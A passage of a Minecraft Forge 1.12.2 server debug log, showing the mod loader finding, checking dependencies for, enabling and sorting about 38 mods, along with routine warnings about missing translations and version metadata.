SpartanShields-1.12.2-1.5.4.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file SpartanWeaponry-1.12.2-beta-1.3.8.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file TeamUp-1.1.3-1.12.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file techguns-1.12.2-2.0.2.0_pre3.1.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file torohealth-1.12.2-11.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file ultimate_unicorn_mod-1.12.2-1.5.16.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file wings-1.1.6-1.12.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file zawa-1.12.2-1.7.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file claimitapi-1.12.2-1.2.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file claimit-1.12.2-1.2.0.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping already parsed coremod or tweaker llibrary-core-1.0.11-1.12.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file llibrary-1.7.19-1.12.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Examining file forge.jar for potential mods [14:27:58] [Server thread/DEBUG] [FML]: The mod container forge.jar appears to be missing an mcmod.info file [14:27:58] [Server thread/DEBUG] [FML]: Examining file animania-1.12.2-1.7.3.jar for potential mods [14:27:58] [Server thread/TRACE] [FML]: Located mcmod.info file in file animania-1.12.2-1.7.3.jar [14:27:58] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.animania.Animania) - loading [14:27:58] [Server thread/TRACE] [FML]: Parsed dependency info for animania: Requirements: [craftstudioapi, forge@[14.23.5.2779,)] After:[craftstudioapi, cofhcore, harvestcraft, natura, botania, biomesoplenty, twilightforest, aroma1997sdimension, openterraingenerator, forge@[14.23.5.2779,)] Before:[thermalexpansion] [14:27:59] [Server thread/DEBUG] [FML]: Examining file BackTools-1.12.2-7.0.1.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file BackTools-1.12.2-7.0.1.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (me.ichun.mods.backtools.common.BackTools) - loading [14:27:59] [Server thread/INFO] [FML]: Disabling mod backtools it is client side only. [14:27:59] [Server thread/DEBUG] [FML]: Skipping mod me.ichun.mods.backtools.common.BackTools, container opted to not load. [14:27:59] [Server thread/DEBUG] [FML]: Examining file betteranimalsplus-1.12.2-8.0.0.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file betteranimalsplus-1.12.2-8.0.0.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (its_meow.betteranimalsplus.BetterAnimalsPlusMod) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for betteranimalsplus: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file bookworm-1.12.2-2.3.0.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file bookworm-1.12.2-2.3.0.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (net.soggymustache.bookworm.BookwormMain) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for bookworm: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file colorchat-1.12.1-2.0.43-universal.jar for potential mods [14:27:59] [Server thread/DEBUG] [FML]: The mod container colorchat-1.12.1-2.0.43-universal.jar appears to be missing an mcmod.info file [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (k4unl.minecraft.colorchat.ColorChat) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for colorchat: Requirements: [k4lib] After:[k4lib] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.leviathanstudio.craftstudio.CraftStudioApi) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for craftstudioapi: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file creature_whisperer_1.0.2.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file creature_whisperer_1.0.2.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (cw.CWMain) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for cw: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file CTM-MC1.12.2-1.0.1.30.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file CTM-MC1.12.2-1.0.1.30.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (team.chisel.ctm.CTM) - loading [14:27:59] [Server thread/INFO] [FML]: Disabling mod ctm it is client side only. [14:27:59] [Server thread/DEBUG] [FML]: Skipping mod team.chisel.ctm.CTM, container opted to not load. [14:27:59] [Server thread/DEBUG] [FML]: Examining file DragonMounts2-1.12.2-1.6.3.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file DragonMounts2-1.12.2-1.6.3.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.TheRPGAdventurer.ROTD.DragonMounts) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for dragonmounts: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file ExtraGems-1.12.2-(v.1.2.8).jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file ExtraGems-1.12.2-(v.1.2.8).jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (xxrexraptorxx.extragems.main.ExtraGems) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for extragems: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file horse_colors-1.12.2-1.0.2.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file horse_colors-1.12.2-1.0.2.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (felinoid.horse_colors.HorseColors) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for horse_colors: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file iceandfire-1.8.3.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file iceandfire-1.8.3.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.github.alexthe666.iceandfire.IceAndFire) - loading [14:27:59] [Server thread/TRACE] [FML]: Using mcmod dependency info for iceandfire: [llibrary, forge] [llibrary, forge] [] [14:27:59] [Server thread/DEBUG] [FML]: Examining file iChunUtil-1.12.2-7.2.2.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file iChunUtil-1.12.2-7.2.2.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (me.ichun.mods.ichunutil.common.iChunUtil) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for ichunutil: Requirements: [forge@[14.23.5.2781,99999.24.0.0)] After:[forge@[14.23.5.2781,99999.24.0.0)] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file Instant Massive Structures Mod 1.12.2.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file Instant Massive Structures Mod 1.12.2.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (modid.imsm.core.IMSM) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for imsm: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file jei_1.12.2-4.15.0.292.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file jei_1.12.2-4.15.0.292.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (mezz.jei.JustEnoughItems) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for jei: Requirements: [forge@[14.23.5.2816,)] After:[forge@[14.23.5.2816,)] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file JustEnoughResources-1.12.2-0.9.2.60.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file JustEnoughResources-1.12.2-0.9.2.60.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (jeresources.JEResources) - loading [14:27:59] [Server thread/INFO] [FML]: Disabling mod jeresources it is client side only. [14:27:59] [Server thread/DEBUG] [FML]: Skipping mod jeresources.JEResources, container opted to not load. [14:27:59] [Server thread/DEBUG] [FML]: Examining file k4lib-1.12.1-2.1.81-universal.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file k4lib-1.12.1-2.1.81-universal.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (k4unl.minecraft.k4lib.K4Lib) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for k4lib: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file landmanager-1.12.2-1.4.0.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file landmanager-1.12.2-1.4.0.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (brightspark.landmanager.LandManager) - loading [14:27:59] [Server thread/TRACE] [FML]: Using mcmod dependency info for landmanager: [] [] [] [14:27:59] [Server thread/DEBUG] [FML]: Examining file malisiscore-1.12.2-6.5.1.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file malisiscore-1.12.2-6.5.1.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (net.malisis.core.MalisisCore) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for malisiscore: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file malisisdoors-1.12.2-7.3.0.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file malisisdoors-1.12.2-7.3.0.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (net.malisis.doors.MalisisDoors) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for malisisdoors: Requirements: [malisiscore] After:[malisiscore] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file mowziesmobs-1.5.4.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file mowziesmobs-1.5.4.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.bobmowzie.mowziesmobs.MowziesMobs) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for mowziesmobs: Requirements: [llibrary@[1.7.9,)] After:[llibrary@[1.7.9,)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file SereneSeasons-1.12.2-1.2.18-universal.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file SereneSeasons-1.12.2-1.2.18-universal.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (sereneseasons.core.SereneSeasons) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for sereneseasons: Requirements: [forge@[14.23.5.2768,)] After:[forge@[14.23.5.2768,)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file spartanfire-0.07.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file spartanfire-0.07.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.chaosbuffalo.spartanfire.SpartanFire) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for spartanfire: Requirements: [iceandfire, spartanweaponry@[beta 1.3.0,), llibrary@[1.7.19,)] After:[iceandfire, spartanweaponry@[beta 1.3.0,), llibrary@[1.7.19,)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file SpartanShields-1.12.2-1.5.4.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file SpartanShields-1.12.2-1.5.4.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.oblivioussp.spartanshields.ModSpartanShields) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for spartanshields: Requirements: [] After:[redstoneflux, enderio, rftools, botania, redstonearsenal, abyssalcraft, betterwithmods, thaumcraft] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file SpartanWeaponry-1.12.2-beta-1.3.8.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file SpartanWeaponry-1.12.2-beta-1.3.8.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.oblivioussp.spartanweaponry.ModSpartanWeaponry) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for spartanweaponry: Requirements: [] After:[] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file TeamUp-1.1.3-1.12.0.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file TeamUp-1.1.3-1.12.0.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.ewyboy.teamup.TeamUp) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for teamup: Requirements: [] After:[] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file techguns-1.12.2-2.0.2.0_pre3.1.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file techguns-1.12.2-2.0.2.0_pre3.1.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (techguns.Techguns) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for techguns: Requirements: [forge@[14.23.5.2807,)] After:[ftblib, chisel, patchouli] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file torohealth-1.12.2-11.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file torohealth-1.12.2-11.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (net.torocraft.torohealthmod.ToroHealthMod) - loading [14:28:00] [Server thread/INFO] [FML]: Disabling mod torohealthmod it is client side only. [14:28:00] [Server thread/DEBUG] [FML]: Skipping mod net.torocraft.torohealthmod.ToroHealthMod, container opted to not load. [14:28:00] [Server thread/DEBUG] [FML]: Examining file ultimate_unicorn_mod-1.12.2-1.5.16.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file ultimate_unicorn_mod-1.12.2-1.5.16.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.hackshop.ultimate_unicorn.UltimateUnicornMod) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for ultimate_unicorn_mod: Requirements: [] After:[] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Attempting to load the file version.properties from ultimate_unicorn_mod-1.12.2-1.5.16.jar to locate a version number for mod ultimate_unicorn_mod [14:28:00] [Server thread/WARN] [FML]: Mod ultimate_unicorn_mod is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.5.16 [14:28:00] [Server thread/DEBUG] [FML]: Examining file wings-1.1.6-1.12.2.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file wings-1.1.6-1.12.2.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lme/paulf/wings/server/asm/plugin/Integration; (me.paulf.wings.server.integration.MowziesMobsIntegration) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for mowzies_wings: Requirements: [wings] After:[wings, mowziesmobs] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lme/paulf/wings/server/asm/plugin/Integration; (me.paulf.wings.server.integration.WingsBaublesIntegration) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for bauble_wings: Requirements: [wings] After:[wings, baubles@[1.5,1.6)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lme/paulf/wings/server/asm/plugin/Integration; (me.paulf.wings.server.integration.WingsMoBendsIntegration) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for mobends_wings: Requirements: [wings] After:[wings, mobends@[0.24,0.25)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (me.paulf.wings.WingsMod) - loading [14:28:00] [Server thread/TRACE] [FML]: Using mcmod dependency info for wings: [forge@[14.23.5.2816,), llibrary@[1.7,1.8)] [forge@[14.23.5.2816,), llibrary@[1.7,1.8), jei@[4.8,5)] [] [14:28:00] [Server thread/DEBUG] [FML]: Attempting to load the file version.properties from wings-1.1.6-1.12.2.jar to locate a version number for mod wings [14:28:00] [Server thread/WARN] [FML]: Mod wings is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.6 [14:28:00] [Server thread/DEBUG] [FML]: Examining file zawa-1.12.2-1.7.0.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file zawa-1.12.2-1.7.0.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (org.zawamod.ZAWAMain) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for zawa: Requirements: [bookworm@[1.12.2-2.2.0,)] After:[bookworm@[1.12.2-2.2.0,)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file claimitapi-1.12.2-1.2.0.jar for potential mods [14:28:00] [Server thread/DEBUG] [FML]: The mod container claimitapi-1.12.2-1.2.0.jar appears to be missing an mcmod.info file [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (its_meow.claimit.api.ClaimItAPI) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for claimitapi: Requirements: [] After:[] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file claimit-1.12.2-1.2.0.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file claimit-1.12.2-1.2.0.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (its_meow.claimit.ClaimIt) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for claimit: Requirements: [claimitapi@[1.12.2-1.2.0,1.12.2-1.2.0]] After:[claimitapi@[1.12.2-1.2.0,1.12.2-1.2.0]] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file llibrary-1.7.19-1.12.2.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file llibrary-1.7.19-1.12.2.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (net.ilexiconn.llibrary.LLibrary) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for llibrary: Requirements: [forge@[14.23.5.2772,)] After:[forge@[14.23.5.2772,)] Before:[] [14:28:00] [Server thread/INFO] [FML]: Forge Mod Loader has identified 38 mods to load [14:28:00] [Server thread/DEBUG] [FML]: Found API mezz.jei.api (owned by jei providing JustEnoughItemsAPI) embedded in jei [14:28:00] [Server thread/DEBUG] [FML]: Found API me.ichun.mods.ichunutil.api (owned by iChun providing iChunUtil API) embedded in ichunutil [14:28:00] [Server thread/DEBUG] [FML]: Found API com.oblivioussp.spartanweaponry.api (owned by spartanweaponry providing spartanweaponry_api) embedded in spartanweaponry [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API ctm-api-models: owner: ctm, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API ctm-api-textures: owner: ctm, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API iChunUtil API: owner: iChun, dependents: [ichunutil] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API jeresources|API: owner: jeresources, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API spartanweaponry_api: owner: spartanweaponry, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API JustEnoughItemsAPI: owner: jei, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API ctm-api-events: owner: ctm, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API ctm-api: owner: ctm, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API ctm-api-utils: owner: ctm, dependents: [] [14:28:00] [Server thread/TRACE] [FML]: Received a system property request '' [14:28:00] [Server thread/TRACE] [FML]: System property request managing the state of 0 mods [14:28:00] [Server thread/DEBUG] [FML]: After merging, found state information for 0 mods [14:28:00] [Server thread/WARN] [FML]: Missing English translation for FML: assets/fml/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod animania [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod betteranimalsplus [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod bookworm [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod colorchat [14:28:00] [Server thread/WARN] [FML]: Missing English translation for colorchat: assets/colorchat/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod craftstudioapi [14:28:00] [Server thread/WARN] [FML]: Missing English translation for craftstudioapi: assets/craftstudioapi/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod cw [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod dragonmounts [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod extragems [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod horse_colors [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod iceandfire [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod ichunutil [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod imsm [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod jei [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod k4lib [14:28:00] [Server thread/WARN] [FML]: Missing English translation for k4lib: assets/k4lib/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod landmanager [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod malisiscore [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod malisisdoors [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod mowziesmobs [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod sereneseasons [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod spartanfire [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod spartanshields [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod spartanweaponry [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod teamup [14:28:00] [Server thread/WARN] [FML]: Missing English translation for teamup: assets/teamup/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod techguns [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod ultimate_unicorn_mod [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod mowzies_wings [14:28:00] [Server thread/WARN] [FML]: Missing English translation for mowzies_wings: assets/mowzies_wings/lang/en_us.lang [14:28:00] [Server thread/WARN] [FML]: Mod bauble_wings has been disabled through configuration [14:28:00] [Server thread/WARN] [FML]: Mod mobends_wings has been disabled through configuration [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod wings [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod zawa [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod claimitapi [14:28:00] [Server thread/WARN] [FML]: Missing English translation for claimitapi: assets/claimitapi/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod claimit [14:28:00] [Server thread/WARN] [FML]: Missing English translation for claimit: assets/claimit/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod llibrary [14:28:00] [Server thread/TRACE] [FML]: Verifying mod requirements are satisfied [14:28:00] [Server thread/TRACE] [FML]: All mod requirements are satisfied [14:28:00] [Server thread/TRACE] [FML]: Sorting mods into an ordered list [14:28:00] [Server thread/TRACE] [FML]: Mod sorting completed successfully [14:28:00] [Server thread/DEBUG] [FML]: Mod sorting data [14:28:00] [Server thread/DEBUG] [FML]: craftstudioapi(CraftStudio API:1.0.0): CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar () [14:28:00] [Server thread/DEBUG] [FML]: animania(Animania:1.7.3): animania-1.12.2-1.7.3.jar (required-after:craftstudioapi;after:cofhcore;after:harvestcraft;after:natura;after:botania;after:biomesoplenty;after:twilightforest;after:aroma1997sdimension;after:openterraingenerator;before:thermalexpansion;required-after:forge@[14.23.5.2779,)) [14:28:00] [Server thread/DEBUG] [FML]: betteranimalsplus(Better Animals Plus:8.0.0): betteranimalsplus-1.12.2-8.0.0.jar () [14:28:00] [Server thread/DEBUG] [FML]: bookworm(Bookworm API:1.12.2-2.3.0): bookworm-1.12.2-2.3.0.jar () [14:28:00] [Server thread/DEBUG] [FML]: k4lib(K4Lib:1.12.1-2.1.81): k4lib-1.12.1-2.1.81-universal.jar () [14:28:00] [Server thread/DEBUG] [FML]: colorchat(ColorChat:1.12.1-2.0.43): colorchat-1.12.1-2.0.43-universal.jar (required-after:k4lib) [14:28:00] [Server thread/DEBUG] [FML]: cw(Creature Wisperer:1.0.2): creature_whisperer_1.0.2.jar () [14:28:00] [Server thread/DEBUG] [FML]: dragonmounts(Dragon Mounts:1.12.2-1.6.3): DragonMounts2-1.12.2-1.6.3.jar () [14:28:00] [Server thread/DEBUG] [FML]: extragems(ExtraGems:1.2.8): ExtraGems-1.12.2-(v.1.2.8).jar () [14:28:00] [Server thread/DEBUG] [FML]: horse_colors(Realistic Horse Genetics:1.12.2-1.0.2): horse_colors-1.12.2-1.0.2.jar () [14:28:00] [Server thread/DEBUG] [FML]: llibrary(LLibrary:1.7.19): llibrary-1.7.19-1.12.2.jar (required-after:forge@[14.23.5.2772,)) [14:28:00] [Server thread/DEBUG] [FML]: iceandfire(Ice and Fire:1.8.3): iceandfire-1.8.3.jar () [14:28:00] [Server thread/DEBUG] [FML]: iChunUtil API(API: iChunUtil API:1.2.0): iChunUtil-1.12.2-7.2.2.jar () [14:28:00] [Server thread/DEBUG] [FML]: ichunutil(iChunUtil:7.2.2): iChunUtil-1.12.2-7.2.2.jar (required-after:forge@[14.23.5.2781,99999.24.0.0)) [14:28:00] [Server thread/DEBUG] [FML]: imsm(Instant Massive Structures Mod:1.12): Instant Massive Structures Mod 1.12.2.jar () [14:28:00] [Server thread/DEBUG] [FML]: jei(Just Enough Items:4.15.0.292): jei_1.12.2-4.15.0.292.jar (required-after:forge@[14.23.5.2816,);) [14:28:00] [Server thread/DEBUG] [FML]: landmanager(Land Manager:1.4.0): landmanager-1.12.2-1.4.0.jar () [14:28:00] [Server thread/DEBUG] [FML]: malisiscore(MalisisCore:1.12.2-6.5.1-SNAPSHOT): malisiscore-1.12.2-6.5.1.jar () [14:28:00] [Server thread/DEBUG] [FML]: malisisdoors(MalisisDoors:1.12.2-7.3.0): malisisdoors-1.12.2-7.3.0.jar (required-after:malisiscore) [14:28:00] [Server thread/DEBUG] [FML]: mowziesmobs(Mowzie's Mobs:1.5.4): mowziesmobs-1.5.4.jar (required-after:llibrary@[1.7.9,)) [14:28:00] [Server thread/DEBUG] [FML]: sereneseasons(Serene Seasons:1.2.18): SereneSeasons-1.12.2-1.2.18-universal.jar (required-after:forge@[14.23.5.2768,)) [14:28:00] [Server thread/DEBUG] [FML]: spartanweaponry(Spartan Weaponry:beta 1.3.8): SpartanWeaponry-1.12.2-beta-1.3.8.jar () [14:28:00] [Server thread/DEBUG] [FML]: spartanfire(Spartan Fire:0.07): spartanfire-0.07.jar (required-after:iceandfire;required-after:spartanweaponry@[beta 1.3.0,);required-after:llibrary@[1.7.19,)) [14:28:00] [Server thread/DEBUG] [FML]: spartanshields(Spartan Shields:1.5.4): SpartanShields-1.12.2-1.5.4.jar (after:redstoneflux;after:enderio;after:rftools;after:botania;after:redstonearsenal;after:abyssalcraft;after:betterwithmods;after:thaumcraft) [14:28:00] [Server thread/DEBUG] [FML]: teamup(Team Up:1.1.3-1.12.0): TeamUp-1.1.3-1.12.0.jar () [14:28:00] [Server thread/DEBUG] [FML]: 